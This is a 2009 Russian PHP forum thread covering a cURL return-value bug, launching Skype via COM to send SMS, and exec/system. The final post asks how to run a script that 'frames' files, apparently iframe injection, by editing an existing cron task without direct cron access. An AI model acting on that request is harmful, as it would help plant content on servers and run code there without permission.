функция вызывается только 1 раз. 2 раз она возвращает то же, что при первом вызове, хотя параметры другие. Что я делаю не так? Надеюсь поможете разобраться...
З.Ы. В обоих местах куки в одном файле - это так и задумано. :)

Gifts
27.08.2009, 00:42
Linuxoid У меня результат, как и ожидается - разный. А так проблема видимо тут:

return curl_exec($ch);
curl_close($ch);
Функция, конеш функция, но не стоит рассчитывать на интерпретатор, что он сам все правильно закроет. Следует делать так:
$tmp = curl_exec($ch);
curl_close($ch);
return $tmp;

zifanchuck
27.08.2009, 02:49
У меня такой вопрос назрел) странный немного. Несколько месяцев назад нашел скриптик который отправляет смс на определенный номер с указаным сообщениям. тоисть я его запускаю ус себя на денвере, а он дальше сам запускает скайп, сворачивает, и потом сам отправляет смс.
а теперь вопросы. Таким способом можно запустить обычную прогу?? и где по ето можно почитать? У меня в книге про ето ничего нет))) а к гуглу незнаю как обратится так как непонимаю как етот мпомоб называется и что у него спрашивать) скрипт вылаживать небуду так как я не автор)

Chaak
27.08.2009, 03:22
Функции exec и system

zifanchuck
27.08.2009, 03:25
Функции exec и system
погуглим) спс

щас глянул еще раз на тот скрипт. там действуйет по такому алгоритму
// Создаём Skype4COM объект:
// Создаём sink объект:
// Соединяемся с sink:
// Создаём conversion объект:
// Если статус юзера не "online", то изменяем его на "online":
// Отсылаем СМС

почитю про то что ты написал и про всякие комобьекты)))

Tymblep
27.08.2009, 11:10
Господа нужна помощь.
Мне писали скрипт, который фреймит указанные файлы либо список файлов, запускается либо заходом на него либо через крон.
Прямого доступа нету к крону, но есть правка одного задания и крона, у кого какие есть идеи по запуска моего скрипта через правку задания готового?